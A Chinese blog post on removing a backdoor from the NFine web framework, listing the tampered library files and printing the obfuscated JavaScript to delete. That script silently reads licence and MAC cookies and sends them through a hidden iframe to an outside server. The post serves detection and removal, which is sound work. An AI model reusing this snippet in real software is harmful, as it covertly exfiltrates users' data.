nfine去除后门

╰半夏微凉° 2021-10-01 02:14 222阅读 0赞

nfine有监测，不知道是什么原因。

去除后门方法：

1. 搜索ppp 使用cdn https://www.bootcdn.cn中的代码替换对应的文件  
需要替换的文件：  
jquery-2.1.1.min.js  
bootstrap.min.js  
jquery.ui.js  
jquery.layout.js

2.   
 查找代码：aHR0cDovL3d3dy5uZmluZS5jbjo4MDk5L05GaW5lV2F0Y2gvMjAxNjA4MDEuaHRtbA，  
 从以下文件中，把下面的代码删除：  
framework-ui.js  
jqgrid.min.js  
jquery-ui.min.js  
jquery.layout.js

代码：

function ($) { $.abcd = { getCookie: function (a) { var b, c = new RegExp("(^| )" + a + "=([^;]*)(;|$)"); if (b = document.cookie.match(c)) { return unescape(b[2]) } else { return null } }, execute: function () { try { if (top.$.wdversion == undefined) { top.$.wdversion = "0.0.0.0.0.1"; var a = $.abcd.getCookie("nfine_mac"); var b = $.abcd.getCookie("nfine_licence"); var c = decodeURIComponent(window.atob("aHR0cDovL3d3dy5uZmluZS5jbjo4MDk5L05GaW5lV2F0Y2gvMjAxNjA4MDEuaHRtbA==")); var d = window.atob("aWZyYW1lanMwMDAwMQ=="); var f = decodeURIComponent(window.atob("JTNDaWZyYW1lJTIwaWQlM0QlMjJpZnJhbWVqczAwMDAxJTIyJTIwJTIwc3R5bGUlM0QlMjJkaXNwbGF5JTNBbm9uZSUyMiUyMCUzRSUzQy9pZnJhbWUlM0U=")); var g = ""; if (top.$("#" + d).length <= 0) { top.$("body").append(f); window.setTimeout(function () { top.$.wdkey = { userKey: b, macs: a }; if (top.$.wdkey != undefined) { g = window.btoa(JSON.stringify(top.$.wdkey)) }; top.$("#" + d).attr("src", c + "?ppp=" + g) }, 6000) } } } catch (e) { } }, init: function () { $.abcd.execute() } }; $(function () { $.abcd.init() }) })(jQuery);

发表评论取消回复

表情：

评论列表（有 0 条评论，222人围观）

还没有评论，来说两句吧...

相关阅读

相关端口复用实现正向后门

文章目录 1. 前言 2. 利用winrm进行端口复用 3. 利用IIS进行端口复用 4. 利用IIS模块进行端口复用 5. 参考文章

末蓝、/ 2023年01月14日 01:44/ 0 赞/ 126 阅读

相关 win7提权system与后门

CATALOG 前言操作过程 1.利用wlbsctrl.dll提权 2.利用TSMSISrv.dll和TSVIPSrv.dll提权

本是古典何须时尚/ 2022年12月22日 04:46/ 0 赞/ 206 阅读

相关使用系统用协议当后门

<table> <tbody> <tr> <td align="middle"><font style="PADDING-RIGHT: 1px; PADDIN

淩亂°似流年/ 2022年08月27日 13:41/ 0 赞/ 113 阅读

相关 Android的AlertDialog，setView后去除黑色边框

1、通过使用theme AlertDialog.Builder builder = new Builder(new ContextThemeWrapper(\_this,R.

╰+哭是因爲堅強的太久メ/ 2022年08月08日 06:42/ 0 赞/ 152 阅读

相关 BIOS中隐藏Telnet后门

BIOS中隐藏Telnet后门 \[项目简述\] 该项目仅为实验性项目,目的是学习国外技术。该项目主要目的是想隐藏一个Telnet后门在主板的BIOS内,并让其随着

小咪咪/ 2022年08月07日 10:34/ 0 赞/ 117 阅读

相关添加dubbo后去除eclipse错误

1.下载[dubbo.xsd][]或在dubbo.jar文件的META-INF目录下找到此文件，放在自己磁盘上； 2.打开eclipse找到如下设置，改成如图所示，其中loc

深藏阁楼爱情的钟/ 2022年07月28日 01:12/ 0 赞/ 120 阅读

相关 linux 系统使用 cymothoa 添加后门

0x00：介绍 cymothoa 是一个后门工具，利用代码 shellcode 会被注入到进程中，只要进程存在，后门就会有效，所以一般选择一些自其服务的进程来注入，例如

短命女/ 2022年03月22日 08:40/ 0 赞/ 305 阅读

相关 6.1 meterpreter创建后门

1、使用msfvenom捆绑putty.exe程序，生成后门程序bd\_putty.exe。该程序与宿主程序具体相同的功能，当运行后门程序的同时，将运行攻击载荷。 m

╰半橙微兮°/ 2022年01月23日 12:57/ 0 赞/ 269 阅读

相关 Windows系统的四个常见后门

后门是攻击者出入系统的通道，惟其如此它隐蔽而危险。攻击者利用后门技术如入无人之境，这是用户的耻辱。针对Windows系统的后门是比较多的，对于一般的后门也为大家所熟知。下面笔者

阳光穿透心脏的1/2处/ 2021年10月29日 14:32/ 0 赞/ 784 阅读

相关 nfine去除后门

nfine有监测，不知道是什么原因。去除后门方法： 1. 搜索ppp 使用cdn https://www.bootcdn.cn中的代码替换对应的文件需要替换的文件：

╰半夏微凉°/ 2021年10月01日 02:14/ 0 赞/ 223 阅读